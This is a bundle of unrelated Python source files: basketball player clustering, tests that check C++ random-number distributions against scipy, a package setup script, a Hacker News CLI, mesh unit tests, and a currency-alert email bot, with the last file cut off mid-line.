silhouette_avg = silhouette_score(X, labels) if silhouette_avg >= best: best = silhouette_avg final_clus= cluster_num return best, final_clus def calculate_top5(distance, names): ''' Function to find the top5 players who are the most closest to the k-means's cluster center :param distance: Distance of each player to the clusters :param names: names of each player :return: top5 names of each clusters ''' dim = len(distance[0]) result = np.zeros((dim, 5)) top5_name = [] for i in range(dim): temp = [] curr = np.array(distance[:, i]) min_5 = curr.argsort()[:5] result[i, :] = min_5 for index in min_5: temp.append(names[index]) top5_name.append(temp) return top5_name def top5_img(distance, names, year, cluster_num, test = False): ''' :param distance: distance of player to kmeans center :param names: player names :param year: year :return: dictionary of player names and their play type ''' assert 2015 <= year <= 2019 top5names = calculate_top5(distance, names) path = "data/data_cleaned/pca_data/" + str(year) + "_pca_table.csv" if test: path = "../data/data_cleaned/pca_data/" + str(year) + "_pca_table.csv" df = pd.read_csv(path) data_per_player = np.zeros((1, 11)) for i in range(len(top5names)): for j in range(len(top5names[i])): new_df = df[df['PLAYER_NAME'] == top5names[i][j]] data = new_df[ ["iso_freq", "tr_freq", "prb_freq", "prr_freq", "pu_freq", "su_freq", "ho_freq", "cut_freq", "os_freq", "putback_freq", "misc_freq"]] data = data.values.tolist() data = np.array(data)[0] data_per_player = np.vstack((data_per_player, data)) data_per_player = data_per_player[1:,:] result = {} for i in range(cluster_num): for j in range(5): result[top5names[i][j]] = data_per_player[i * 5 + j, :] return result1-10 from app import create_app app = create_app() def run(): app.run() if __name__ == "__main__": run() fcooper8472/CppRandomNumbers import os import subprocess import matplotlib.pyplot as plt import numpy as np import scipy.stats # Define directories output_sample_dir = os.path.join('/tmp', 'CppRandomNumbers', 'RandomSamples') output_pdf_dir = os.path.join('/tmp', 'CppRandomNumbers', 'Pdf') script_dir = os.path.realpath(os.path.dirname(__file__)) build_dir = os.path.join(script_dir, 'Debug') # Define the C++ targets and associated data files pdf_exes_and_outputs = { 'pdf_beta': "Beta_alpha=2.6_beta=4.9", 'pdf_cauchy': "Cauchy_mu=7.4_sig=3.5", 'pdf_exponential': "Exponential_rate=0.4", 'pdf_gamma': "Gamma_alpha=2.6_beta=0.8", 'pdf_half_cauchy': "HalfCauchy_mu=0.0_sig=3.5", 'pdf_normal': "Normal_mean=8.9_std=2.3", 'pdf_student_t': "StudentT_location=4.2_scale=6.4_df=3.5", 'pdf_uniform': "Uniform_a=1.2_b=2.8", } sample_exes_and_outputs = { 'rand_beta': "Beta_alpha=1.23_beta=2.34", 'rand_cauchy': "Cauchy_mu=8.9_sigma=2.3", 'rand_exponential': "Exponential_rate=2.3", 'rand_gamma': "Gamma_alpha=4_beta=0.5", 'rand_half_cauchy': "HalfCauchy_mu=1.2_sigma=2.3", 'rand_normal': "Normal_mean=1.23_std=2.34", 'rand_student_t': "StudentT_df=4_mu=9.7_sigma=3.3", 'rand_uniform': "Uniform_a=1.23_b=2.34", } def main(): print('\n### Cleaning output directories') if os.path.isdir(output_sample_dir): for file in os.listdir(output_sample_dir): subprocess.call(['rm', file], cwd=output_sample_dir) if os.path.isdir(output_pdf_dir): for file in os.listdir(output_pdf_dir): subprocess.call(['rm', file], cwd=output_pdf_dir) print('\n### Making build directory') subprocess.call(['mkdir', '-p', build_dir]) print('\n### Running CMake') subprocess.call(['cmake', '..'], cwd=build_dir) print('\n### Building all') subprocess.call(['cmake', '--build', '.'], cwd=build_dir) #################################################################################################################### # PDF executables #################################################################################################################### print('\n### Running pdf executables...') for executable in pdf_exes_and_outputs.keys(): print(' {}'.format(executable)) subprocess.call(['./{}'.format(executable)], cwd=build_dir) # Verify all outputs exist print('\n### Verifying all pdf outputs exist') for val in pdf_exes_and_outputs.values(): output_file = os.path.join(output_pdf_dir, val) assert(os.path.isfile(output_file)) print('\n### Creating pdf graphs for...') pdf_plot_beta() pdf_plot_cauchy() pdf_plot_exponential() pdf_plot_gamma() pdf_plot_half_cauchy() pdf_plot_normal() pdf_plot_student_t() pdf_plot_uniform() # Verify all sample outputs have a graph print('\n### Verifying all graphs exist') for val in pdf_exes_and_outputs.values(): output_file = os.path.join(output_pdf_dir, '{}.svg'.format(val)) assert(os.path.isfile(output_file)) #################################################################################################################### #################################################################################################################### # Sample executables #################################################################################################################### print('\n### Running sample executables...') for executable in sample_exes_and_outputs.keys(): print(' {}'.format(executable)) subprocess.call(['./{}'.format(executable)], cwd=build_dir) # Verify all outputs exist print('\n### Verifying all sample outputs exist') for val in sample_exes_and_outputs.values(): output_file = os.path.join(output_sample_dir, val) assert(os.path.isfile(output_file)) print('\n### Creating sample graphs for...') sample_plot_beta() sample_plot_cauchy() sample_plot_exponential() sample_plot_gamma() sample_plot_half_cauchy() sample_plot_normal() sample_plot_student_t() sample_plot_uniform() # Verify all sample outputs have a graph print('\n### Verifying all graphs exist') for val in sample_exes_and_outputs.values(): output_file = os.path.join(output_sample_dir, '{}.svg'.format(val)) assert(os.path.isfile(output_file)) #################################################################################################################### print('\n### Done.') def pdf_plot_beta(): """ Plot the data from the C++ script against the scipy pdf, for the beta distribution """ print(' beta') raw_output = pdf_exes_and_outputs['pdf_beta'] output_file = os.path.join(output_pdf_dir, raw_output) graph_name = os.path.join(output_pdf_dir, '{}.svg'.format(raw_output)) cpp_alpha = 2.6 cpp_beta = 4.9 data = np.loadtxt(output_file, delimiter=',') x = data[:, 0] pdf = data[:, 1] log = data[:, 2] scipy_pdf = scipy.stats.beta.pdf(x, a=cpp_alpha, b=cpp_beta) scipy_log = scipy.stats.beta.logpdf(x, a=cpp_alpha, b=cpp_beta) plt.figure(figsize=(14, 6)) plt.subplot(121) plt.plot(x, scipy_pdf, 'orange') plt.plot(x, pdf, 'g:', linewidth=5) plt.title('pdf') plt.gca().set_facecolor('0.85') plt.subplot(122) plt.plot(x, scipy_log, 'orange') plt.plot(x, log, 'g:', linewidth=5) plt.title('log pdf') plt.gca().set_facecolor('0.85') plt.gcf().suptitle(raw_output.replace('_', ' ')) plt.savefig(graph_name) plt.close() def pdf_plot_cauchy(): """ Plot the data from the C++ script against the scipy pdf, for the cauchy distribution """ print(' cauchy') raw_output = pdf_exes_and_outputs['pdf_cauchy'] output_file = os.path.join(output_pdf_dir, raw_output) graph_name = os.path.join(output_pdf_dir, '{}.svg'.format(raw_output)) cpp_mu = 7.4 cpp_sig = 3.5 data = np.loadtxt(output_file, delimiter=',') x = data[:, 0] pdf = data[:, 1] log = data[:, 2] scipy_pdf = scipy.stats.cauchy.pdf(x, loc=cpp_mu, scale=cpp_sig) scipy_log = scipy.stats.cauchy.logpdf(x, loc=cpp_mu, scale=cpp_sig) plt.figure(figsize=(14, 6)) plt.subplot(121) plt.plot(x, scipy_pdf, 'orange') plt.plot(x, pdf, 'g:', linewidth=5) plt.title('pdf') plt.gca().set_facecolor('0.85') plt.subplot(122) plt.plot(x, scipy_log, 'orange') plt.plot(x, log, 'g:', linewidth=5) plt.title('log pdf') plt.gca().set_facecolor('0.85') plt.gcf().suptitle(raw_output.replace('_', ' ')) plt.savefig(graph_name) plt.close() def pdf_plot_exponential(): """ Plot the data from the C++ script against the scipy pdf, for the exponential distribution """ print(' exponential') raw_output = pdf_exes_and_outputs['pdf_exponential'] output_file = os.path.join(output_pdf_dir, raw_output) graph_name = os.path.join(output_pdf_dir, '{}.svg'.format(raw_output)) cpp_rate = 0.4 data = np.loadtxt(output_file, delimiter=',') x = data[:, 0] pdf = data[:, 1] log = data[:, 2] scipy_pdf = scipy.stats.expon.pdf(x, scale=1 / cpp_rate) scipy_log = scipy.stats.expon.logpdf(x, scale=1 / cpp_rate) plt.figure(figsize=(14, 6)) plt.subplot(121) plt.plot(x, scipy_pdf, 'orange') plt.plot(x, pdf, 'g:', linewidth=5) plt.title('pdf') plt.gca().set_facecolor('0.85') plt.subplot(122) plt.plot(x, scipy_log, 'orange') plt.plot(x, log, 'g:', linewidth=5) plt.title('log pdf') plt.gca().set_facecolor('0.85') plt.gcf().suptitle(raw_output.replace('_', ' ')) plt.savefig(graph_name) plt.close() def pdf_plot_gamma(): """ Plot the data from the C++ script against the scipy pdf, for the gamma distribution """ print(' gamma') raw_output = pdf_exes_and_outputs['pdf_gamma'] output_file = os.path.join(output_pdf_dir, raw_output) graph_name = os.path.join(output_pdf_dir, '{}.svg'.format(raw_output)) cpp_alpha = 2.6 cpp_beta = 0.8 data = np.loadtxt(output_file, delimiter=',') x = data[:, 0] pdf = data[:, 1] log = data[:, 2] scipy_pdf = scipy.stats.gamma.pdf(x, a=cpp_alpha, scale=1 / cpp_beta) scipy_log = scipy.stats.gamma.logpdf(x, a=cpp_alpha, scale=1 / cpp_beta) plt.figure(figsize=(14, 6)) plt.subplot(121) plt.plot(x, scipy_pdf, 'orange') plt.plot(x, pdf, 'g:', linewidth=5) plt.title('pdf') plt.gca().set_facecolor('0.85') plt.subplot(122) plt.plot(x, scipy_log, 'orange') plt.plot(x, log, 'g:', linewidth=5) plt.title('log pdf') plt.gca().set_facecolor('0.85') plt.gcf().suptitle(raw_output.replace('_', ' ')) plt.savefig(graph_name) plt.close() def pdf_plot_half_cauchy(): """ Plot the data from the C++ script against the scipy pdf, for the half cauchy distribution """ print(' half cauchy') raw_output = pdf_exes_and_outputs['pdf_half_cauchy'] output_file = os.path.join(output_pdf_dir, raw_output) graph_name = os.path.join(output_pdf_dir, '{}.svg'.format(raw_output)) cpp_location = 0.0 cpp_scale = 3.5 data = np.loadtxt(output_file, delimiter=',') x = data[:, 0] pdf = data[:, 1] log = data[:, 2] scipy_pdf = scipy.stats.halfcauchy.pdf(x, loc=cpp_location, scale=cpp_scale) scipy_log = scipy.stats.halfcauchy.logpdf(x, loc=cpp_location, scale=cpp_scale) plt.figure(figsize=(14, 6)) plt.subplot(121) plt.plot(x, scipy_pdf, 'orange') plt.plot(x, pdf, 'g:', linewidth=5) plt.title('pdf') plt.gca().set_facecolor('0.85') plt.subplot(122) plt.plot(x, scipy_log, 'orange') plt.plot(x, log, 'g:', linewidth=5) plt.title('log pdf') plt.gca().set_facecolor('0.85') plt.gcf().suptitle(raw_output.replace('_', ' ')) plt.savefig(graph_name) plt.close() def pdf_plot_normal(): """ Plot the data from the C++ script against the scipy pdf, for the normal distribution """ print(' normal') raw_output = pdf_exes_and_outputs['pdf_normal'] output_file = os.path.join(output_pdf_dir, raw_output) graph_name = os.path.join(output_pdf_dir, '{}.svg'.format(raw_output)) cpp_mean = 8.9 cpp_std = 2.3 data = np.loadtxt(output_file, delimiter=',') x = data[:, 0] pdf = data[:, 1] log = data[:, 2] scipy_pdf = scipy.stats.norm.pdf(x, loc=cpp_mean, scale=cpp_std) scipy_log = scipy.stats.norm.logpdf(x, loc=cpp_mean, scale=cpp_std) plt.figure(figsize=(14, 6)) plt.subplot(121) plt.plot(x, scipy_pdf, 'orange') plt.plot(x, pdf, 'g:', linewidth=5) plt.title('pdf') plt.gca().set_facecolor('0.85') plt.subplot(122) plt.plot(x, scipy_log, 'orange') plt.plot(x, log, 'g:', linewidth=5) plt.title('log pdf') plt.gca().set_facecolor('0.85') plt.gcf().suptitle(raw_output.replace('_', ' ')) plt.savefig(graph_name) plt.close() def pdf_plot_student_t(): """ Plot the data from the C++ script against the scipy pdf, for the student-t distribution """ print(' student-t') raw_output = pdf_exes_and_outputs['pdf_student_t'] output_file = os.path.join(output_pdf_dir, raw_output) graph_name = os.path.join(output_pdf_dir, '{}.svg'.format(raw_output)) cpp_location = 4.2 cpp_scale = 6.4 cpp_df = 3.5 data = np.loadtxt(output_file, delimiter=',') x = data[:, 0] pdf = data[:, 1] log = data[:, 2] scipy_pdf = scipy.stats.t.pdf(x, df=cpp_df, loc=cpp_location, scale=cpp_scale) scipy_log = scipy.stats.t.logpdf(x, df=cpp_df, loc=cpp_location, scale=cpp_scale) plt.figure(figsize=(14, 6)) plt.subplot(121) plt.plot(x, scipy_pdf, 'orange') plt.plot(x, pdf, 'g:', linewidth=5) plt.title('pdf') plt.gca().set_facecolor('0.85') plt.subplot(122) plt.plot(x, scipy_log, 'orange') plt.plot(x, log, 'g:', linewidth=5) plt.title('log pdf') plt.gca().set_facecolor('0.85') plt.gcf().suptitle(raw_output.replace('_', ' ')) plt.savefig(graph_name) plt.close() def pdf_plot_uniform(): """ Plot the data from the C++ script against the scipy pdf, for the uniform distribution """ print(' uniform') raw_output = pdf_exes_and_outputs['pdf_uniform'] output_file = os.path.join(output_pdf_dir, raw_output) graph_name = os.path.join(output_pdf_dir, '{}.svg'.format(raw_output)) cpp_a = 1.2 cpp_b = 2.8 data = np.loadtxt(output_file, delimiter=',') x = data[:, 0] pdf = data[:, 1] log = data[:, 2] scipy_pdf = scipy.stats.uniform.pdf(x, loc=cpp_a, scale=cpp_b - cpp_a) scipy_log = scipy.stats.uniform.logpdf(x, loc=cpp_a, scale=cpp_b - cpp_a) mean = np.mean(log) plt.figure(figsize=(14, 6)) plt.subplot(121) plt.plot(x, scipy_pdf, 'orange') plt.plot(x, pdf, 'g:', linewidth=5) plt.title('pdf') plt.gca().set_facecolor('0.85') plt.subplot(122) plt.plot(x, scipy_log, 'orange') plt.plot(x, log, 'g:', linewidth=5) plt.title('log pdf') plt.gca().set_facecolor('0.85') plt.gca().set_ylim(mean - 0.1 * mean, mean + 0.1 * mean) plt.gcf().suptitle(raw_output.replace('_', ' ')) plt.savefig(graph_name) plt.close() def sample_plot_beta(): """ Plot the data from the C++ script against the scipy pdf, for the beta distribution """ print(' beta') raw_output = sample_exes_and_outputs['rand_beta'] output_file = os.path.join(output_sample_dir, raw_output) graph_name = os.path.join(output_sample_dir, '{}.svg'.format(raw_output)) cpp_alpha = 1.23 cpp_beta = 2.34 data = np.loadtxt(output_file) lower = 0.0 upper = 1.0 x = np.linspace(lower, upper, num=100) y = scipy.stats.beta.pdf(x, a=cpp_alpha, b=cpp_beta) plt.hist(data, bins=25, density=True) plt.plot(x, y) plt.title(raw_output.replace('_', ' ')) plt.savefig(graph_name) plt.close() def sample_plot_cauchy(): """ Plot the data from the C++ script against the scipy pdf, for the cauchy distribution """ print(' cauchy') raw_output = sample_exes_and_outputs['rand_cauchy'] output_file = os.path.join(output_sample_dir, raw_output) graph_name = os.path.join(output_sample_dir, '{}.svg'.format(raw_output)) cpp_mu = 8.9 cpp_sigma = 2.3 data = np.loadtxt(output_file) lower = np.quantile(data, 0.05) upper = np.quantile(data, 0.95) data = np.clip(data, lower, upper) x = np.linspace(lower, upper, num=100) y = scipy.stats.cauchy.pdf(x, loc=cpp_mu, scale=cpp_sigma) plt.hist(data, bins=25, density=True) plt.plot(x, y) plt.title(raw_output.replace('_', ' ')) plt.savefig(graph_name) plt.close() def sample_plot_exponential(): """ Plot the data from the C++ script against the scipy pdf, for the exponential distribution """ print(' exponential') raw_output = sample_exes_and_outputs['rand_exponential'] output_file = os.path.join(output_sample_dir, raw_output) graph_name = os.path.join(output_sample_dir, '{}.svg'.format(raw_output)) cpp_rate = 2.34 data = np.loadtxt(output_file) lower = 0.0 upper = np.quantile(data, 0.99) data = np.clip(data, lower, upper) x = np.linspace(lower, upper, num=100) y = scipy.stats.expon.pdf(x, scale=1. / cpp_rate) plt.hist(data, bins=25, density=True) plt.plot(x, y) plt.title(raw_output.replace('_', ' ')) plt.savefig(graph_name) plt.close() def sample_plot_gamma(): """ Plot the data from the C++ script against the scipy pdf, for the gamma distribution """ print(' gamma') raw_output = sample_exes_and_outputs['rand_gamma'] output_file = os.path.join(output_sample_dir, raw_output) graph_name = os.path.join(output_sample_dir, '{}.svg'.format(raw_output)) cpp_alpha = 4.0 cpp_beta = 0.5 data = np.loadtxt(output_file) lower = 0.0 upper = np.quantile(data, 0.99) data = np.clip(data, lower, upper) x = np.linspace(lower, upper, num=100) y = scipy.stats.gamma.pdf(x, a=cpp_alpha, scale=1 / cpp_beta) plt.hist(data, bins=25, density=True) plt.plot(x, y) plt.title(raw_output.replace('_', ' ')) plt.savefig(graph_name) plt.close() def sample_plot_half_cauchy(): """ Plot the data from the C++ script against the scipy pdf, for the half cauchy distribution """ print(' half cauchy') raw_output = sample_exes_and_outputs['rand_half_cauchy'] output_file = os.path.join(output_sample_dir, raw_output) graph_name = os.path.join(output_sample_dir, '{}.svg'.format(raw_output)) cpp_mu = 1.2 cpp_sigma = 2.3 data = np.loadtxt(output_file) lower = 0.0 upper = np.quantile(data, 0.9) data = np.clip(data, lower, upper) import math scale_fac = 1.0 / (0.5 + 0.31830988618379067154 * math.atan(cpp_mu / cpp_sigma)) x = np.linspace(lower, upper, num=100) y = scipy.stats.halfcauchy.pdf(x, loc=cpp_mu, scale=cpp_sigma) z = scale_fac / (math.pi * cpp_sigma * (1. + ((x - cpp_mu)/cpp_sigma) ** 2)) plt.hist(data, bins=25, density=True) plt.plot(x, y) plt.plot(x, z, 'g') plt.title(raw_output.replace('_', ' ')) plt.savefig(graph_name) plt.close() def sample_plot_normal(): """ Plot the data from the C++ script against the scipy pdf, for the normal distribution """ print(' normal') raw_output = sample_exes_and_outputs['rand_normal'] output_file = os.path.join(output_sample_dir, raw_output) graph_name = os.path.join(output_sample_dir, '{}.svg'.format(raw_output)) cpp_mean = 1.23 cpp_std = 2.34 data = np.loadtxt(output_file) lower = np.quantile(data, 0.005) upper = np.quantile(data, 0.995) data = np.clip(data, lower, upper) x = np.linspace(lower, upper, num=100) y = scipy.stats.norm.pdf(x, cpp_mean, cpp_std) plt.hist(data, bins=25, density=True) plt.plot(x, y) plt.title(raw_output.replace('_', ' ')) plt.savefig(graph_name) plt.close() def sample_plot_student_t(): """ Plot the data from the C++ script against the scipy pdf, for the student t distribution """ print(' student-t') raw_output = sample_exes_and_outputs['rand_student_t'] output_file = os.path.join(output_sample_dir, raw_output) graph_name = os.path.join(output_sample_dir, '{}.svg'.format(raw_output)) cpp_df = 4 cpp_mu = 9.7 cpp_sigma = 3.3 data = np.loadtxt(output_file) lower = np.quantile(data, 0.005) upper = np.quantile(data, 0.995) data = np.clip(data, lower, upper) x = np.linspace(lower, upper, num=100) y = scipy.stats.t.pdf(x, df=cpp_df, loc=cpp_mu, scale=cpp_sigma) plt.hist(data, bins=25, density=True) plt.plot(x, y) plt.title(raw_output.replace('_', ' ')) plt.savefig(graph_name) plt.close() def sample_plot_uniform(): """ Plot the data from the C++ script against the scipy pdf, for the uniform distribution """ print(' uniform') raw_output = sample_exes_and_outputs['rand_uniform'] output_file = os.path.join(output_sample_dir, raw_output) graph_name = os.path.join(output_sample_dir, '{}.svg'.format(raw_output)) cpp_a = 1.23 cpp_b = 2.34 data = np.loadtxt(output_file) lower = 1.23 upper = 2.34 scipy_loc = cpp_a scipy_scale = cpp_b - cpp_a x = np.linspace(lower, upper, num=100) y = scipy.stats.uniform.pdf(x, loc=scipy_loc, scale=scipy_scale) plt.hist(data, bins=25, density=True) plt.plot(x, y) plt.title(raw_output.replace('_', ' ')) plt.savefig(graph_name) plt.close() if __name__ == '__main__': main() stsievert/objopt #!/usr/bin/env python # -*- coding: utf-8 -*- # Note: To use the 'upload' functionality of this file, you must: # $ pip install twine import os import sys import io from setuptools import find_packages, setup, Command, setup import objopt # Package meta-data. NAME = "objopt" DESCRIPTION = "Object oriented optimization" URL = "https://github.com/stsievert/objopt" EMAIL = "" AUTHOR = "" # What packages are required for this module to be executed? REQUIRED = ["numpy"] version = objopt.__version__ if sys.argv[-1] == "publish": os.system("python setup.py sdist upload") os.system("python setup.py bdist_wheel upload") sys.exit() if sys.argv[-1] == "tag": os.system("git tag -a %s -m 'version %s'" % (version, version)) os.system("git push --tags") sys.exit() with io.open("README.md", "r", encoding="utf-8") as readme_file: readme = readme_file.read() requirements = ["numpy"] if sys.argv[-1] == "readme": print(readme) sys.exit() setup( name=NAME, version=version, description=DESCRIPTION, long_description=readme, author=AUTHOR, author_email=EMAIL, url=URL, packages=["objopt"], package_dir={"objopt": "objopt"}, include_package_data=True, python_requires=">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*", install_requires=requirements, license="MIT", zip_safe=False, classifiers=[ "Programming Language :: Python", "Topic :: Scientific/Engineering :: Mathematics", "Development Status :: 2 - Pre-Alpha", "Intended Audience :: Science/Research", ], keywords=["optimization", "machine learning", "theory", "object oriented"], ) class Solution: def validMountainArray(self, A: List[int]) -> bool: """Main application entry for shna.""" import PyInquirer from hnstory import HnStory from hndisplay import HnDisplay from hnlogger import setup_logger from hnerror import ShnaError def main(): """Entry function for shna application.""" setup_logger() options = [ { "type": "list", "name": "hn_category", "message": "Select a HN category:", "choices": ["new", "top", "best", "ask", "show", "job"], }, { "type": "input", "name": "limit", "message": "Limit number of results to:", "default": "10", "validate": lambda _limit: True if _limit.isdigit() else False, } ] hn_story = HnStory() hn_display = HnDisplay() try: while True: # Get user choice selected = PyInquirer.prompt(options) # Get HN stories stories = hn_story.get_stories(selected["hn_category"], int(selected["limit"])) # Print stories on console hn_display.print_stories_summary(stories, 5) except KeyError as _err: # Ignore KeyError from pressing ctrl + c raise ShnaError(_err) if __name__ == "__main__": main() from __future__ import print_function import numpy as np import unittest from discretize import TensorMesh, CurvilinearMesh from discretize.utils import ndgrid class BasicCurvTests(unittest.TestCase): def setUp(self): a = np.array([1, 1, 1]) b = np.array([1, 2]) c = np.array([1, 4]) def gridIt(h): return [np.cumsum(np.r_[0, x]) for x in h] X, Y = ndgrid(gridIt([a, b]), vector=False) self.TM2 = TensorMesh([a, b]) self.Curv2 = CurvilinearMesh([X, Y]) X, Y, Z = ndgrid(gridIt([a, b, c]), vector=False) self.TM3 = TensorMesh([a, b, c]) self.Curv3 = CurvilinearMesh([X, Y, Z]) def test_area_3D(self): test_area = np.array([1, 1, 1, 1, 2, 2, 2, 2, 4, 4, 4, 4, 8, 8, 8, 8, 1, 1, 1, 1, 1, 1, 1, 1, 1, 4, 4, 4, 4, 4, 4, 4, 4, 4, 1, 1, 1, 2, 2, 2, 1, 1, 1, 2, 2, 2, 1, 1, 1, 2, 2, 2]) self.assertTrue(np.all(self.Curv3.area == test_area)) def test_vol_3D(self): test_vol = np.array([1, 1, 1, 2, 2, 2, 4, 4, 4, 8, 8, 8]) np.testing.assert_almost_equal(self.Curv3.vol, test_vol) self.assertTrue(True) # Pass if you get past the assertion. def test_vol_2D(self): test_vol = np.array([1, 1, 1, 2, 2, 2]) t1 = np.all(self.Curv2.vol == test_vol) self.assertTrue(t1) def test_edge_3D(self): test_edge = np.array([1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 1, 1, 1, 1, 2, 2, 2, 2, 1, 1, 1, 1, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4]) t1 = np.all(self.Curv3.edge == test_edge) self.assertTrue(t1) def test_edge_2D(self): test_edge = np.array([1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2]) t1 = np.all(self.Curv2.edge == test_edge) self.assertTrue(t1) def test_tangents(self): T = self.Curv2.tangents self.assertTrue(np.all(self.Curv2.r(T, 'E', 'Ex', 'V')[0] == np.ones(self.Curv2.nEx))) self.assertTrue(np.all(self.Curv2.r(T, 'E', 'Ex', 'V')[1] == np.zeros(self.Curv2.nEx))) self.assertTrue(np.all(self.Curv2.r(T, 'E', 'Ey', 'V')[0] == np.zeros(self.Curv2.nEy))) self.assertTrue(np.all(self.Curv2.r(T, 'E', 'Ey', 'V')[1] == np.ones(self.Curv2.nEy))) T = self.Curv3.tangents self.assertTrue(np.all(self.Curv3.r(T, 'E', 'Ex', 'V')[0] == np.ones(self.Curv3.nEx))) self.assertTrue(np.all(self.Curv3.r(T, 'E', 'Ex', 'V')[1] == np.zeros(self.Curv3.nEx))) self.assertTrue(np.all(self.Curv3.r(T, 'E', 'Ex', 'V')[2] == np.zeros(self.Curv3.nEx))) self.assertTrue(np.all(self.Curv3.r(T, 'E', 'Ey', 'V')[0] == np.zeros(self.Curv3.nEy))) self.assertTrue(np.all(self.Curv3.r(T, 'E', 'Ey', 'V')[1] == np.ones(self.Curv3.nEy))) self.assertTrue(np.all(self.Curv3.r(T, 'E', 'Ey', 'V')[2] == np.zeros(self.Curv3.nEy))) self.assertTrue(np.all(self.Curv3.r(T, 'E', 'Ez', 'V')[0] == np.zeros(self.Curv3.nEz))) self.assertTrue(np.all(self.Curv3.r(T, 'E', 'Ez', 'V')[1] == np.zeros(self.Curv3.nEz))) self.assertTrue(np.all(self.Curv3.r(T, 'E', 'Ez', 'V')[2] == np.ones(self.Curv3.nEz))) def test_normals(self): N = self.Curv2.normals self.assertTrue(np.all(self.Curv2.r(N, 'F', 'Fx', 'V')[0] == np.ones(self.Curv2.nFx))) self.assertTrue(np.all(self.Curv2.r(N, 'F', 'Fx', 'V')[1] == np.zeros(self.Curv2.nFx))) self.assertTrue(np.all(self.Curv2.r(N, 'F', 'Fy', 'V')[0] == np.zeros(self.Curv2.nFy))) self.assertTrue(np.all(self.Curv2.r(N, 'F', 'Fy', 'V')[1] == np.ones(self.Curv2.nFy))) N = self.Curv3.normals self.assertTrue(np.all(self.Curv3.r(N, 'F', 'Fx', 'V')[0] == np.ones(self.Curv3.nFx))) self.assertTrue(np.all(self.Curv3.r(N, 'F', 'Fx', 'V')[1] == np.zeros(self.Curv3.nFx))) self.assertTrue(np.all(self.Curv3.r(N, 'F', 'Fx', 'V')[2] == np.zeros(self.Curv3.nFx))) self.assertTrue(np.all(self.Curv3.r(N, 'F', 'Fy', 'V')[0] == np.zeros(self.Curv3.nFy))) self.assertTrue(np.all(self.Curv3.r(N, 'F', 'Fy', 'V')[1] == np.ones(self.Curv3.nFy))) self.assertTrue(np.all(self.Curv3.r(N, 'F', 'Fy', 'V')[2] == np.zeros(self.Curv3.nFy))) self.assertTrue(np.all(self.Curv3.r(N, 'F', 'Fz', 'V')[0] == np.zeros(self.Curv3.nFz))) self.assertTrue(np.all(self.Curv3.r(N, 'F', 'Fz', 'V')[1] == np.zeros(self.Curv3.nFz))) self.assertTrue(np.all(self.Curv3.r(N, 'F', 'Fz', 'V')[2] == np.ones(self.Curv3.nFz))) def test_grid(self): self.assertTrue(np.all(self.Curv2.gridCC == self.TM2.gridCC)) self.assertTrue(np.all(self.Curv2.gridN == self.TM2.gridN)) self.assertTrue(np.all(self.Curv2.gridFx == self.TM2.gridFx)) self.assertTrue(np.all(self.Curv2.gridFy == self.TM2.gridFy)) self.assertTrue(np.all(self.Curv2.gridEx == self.TM2.gridEx)) self.assertTrue(np.all(self.Curv2.gridEy == self.TM2.gridEy)) self.assertTrue(np.all(self.Curv3.gridCC == self.TM3.gridCC)) self.assertTrue(np.all(self.Curv3.gridN == self.TM3.gridN)) self.assertTrue(np.all(self.Curv3.gridFx == self.TM3.gridFx)) self.assertTrue(np.all(self.Curv3.gridFy == self.TM3.gridFy)) self.assertTrue(np.all(self.Curv3.gridFz == self.TM3.gridFz)) self.assertTrue(np.all(self.Curv3.gridEx == self.TM3.gridEx)) self.assertTrue(np.all(self.Curv3.gridEy == self.TM3.gridEy)) self.assertTrue(np.all(self.Curv3.gridEz == self.TM3.gridEz)) if __name__ == '__main__': unittest.main() 0 from email.message import EmailMessage import requests, smtplib, time #variables loop = True trigger = time.localtime() url = 'https://api.exchangeratesapi.io/latest?base=USD' price_target = open('note_target', 'r').read() price_limit = open('note_limit', 'r').read() sender = open('note_sender', 'r').read() receiver = open('note_receiver', 'r').read() password = open('note_pass', 'r').read() #Test E-mail (Not if I deploy locally) ''' email_test = EmailMessage() email_test["Subject"] = 'Currency Tracker Bot Test' email_test["From"] = sender email_test["To"] = receiver email_test.set_content("Hello!\nI am the Currency Tracker Bot you hired!\nThis is just a test email to check if it's all right. For now on, I will be tracking the price of the currencies you ask. When they were in one of the prices you choose, I'll tell you!\nSee you!") with smtplib.SMTP('smtp.gmail.com', 587) as smtp: smtp.ehlo() smtp.starttls() smtp.ehlo() smtp.login(sender, password) smtp.send_message(email_test) ''' #Email for low values email_low = EmailMessage() email_low["Subject"] = 'Currency Tracker Bot' email_low["From"] = sender email_low["To"] = receiver email_low.set_content("Hey!\nThe currency you are tracking get cheaper!\nCheck it out: ") #Email for high values email_high = EmailMessage() email_high["Subject"] = 'Currency Tracker Bot' email_high["From"] = sender email_high["To"] = receiver email_high.set_content("Hey!\n The currency you are tracking get higher value!\nCheck it out: ") #Email back email_back = EmailMessage() email_back["Subject"] = 'Currency Tracker Bot' email_back["From"] = sender email_back["To"] = sender email_back.set_content("The bot work is finished for "+ receiver) while loop == True: if trigger.tm_hour >= 13: #API data manipulation data = requests.get(url) price = data.json()['rates'] #Send E-mail. Attention to the price string! if price['BRL'] <= float(price_limit): with smtplib.SMTP('smtp.gmail.com', 587) as smtp: smtp.ehlo() smtp.starttls() smtp.ehlo() smtp.login(sender, password) smtp.send_message(email_low) smtp.send_message(email_back) loop = False elif price['BRL'] >= float(price_target): with smtplib.SMTP('smtp.gmail.com', 587) as smtp: smtp.ehlo() smtp.starttls() smtp.ehlo() smtp.login(sender, password) smtp.send_message(email_high) smtp.send_message(email_back) loop = False else: loop = False time.sleep(3600) import json import urllib.parse as urlparse def main(): with open('query.json', 'r') as f: query = json.load(f) rows = query['reports'][0]['data']['rows'] urls = [ row['dimensions'][0] for row in rows ] polygons = [ query_param_from(url, 'intersectsWith') for url in urls ] p = [ p for p in polygons if p != [] ] print(len(p), len(polygons)) def query_param_from(url, param): parsed = urlparse.urlparse(url) try: qs = urlparse.parse_qs(parsed.query) if 'COUNT' in qs['output'][0]: return [] val = qs[param] except Exception: return [] dataset = qs.get('platform') if dataset is None: dataset = qs.get('asfplatform') if dataset is not None: dataset = dataset[0] else: dataset = 'None' ts = 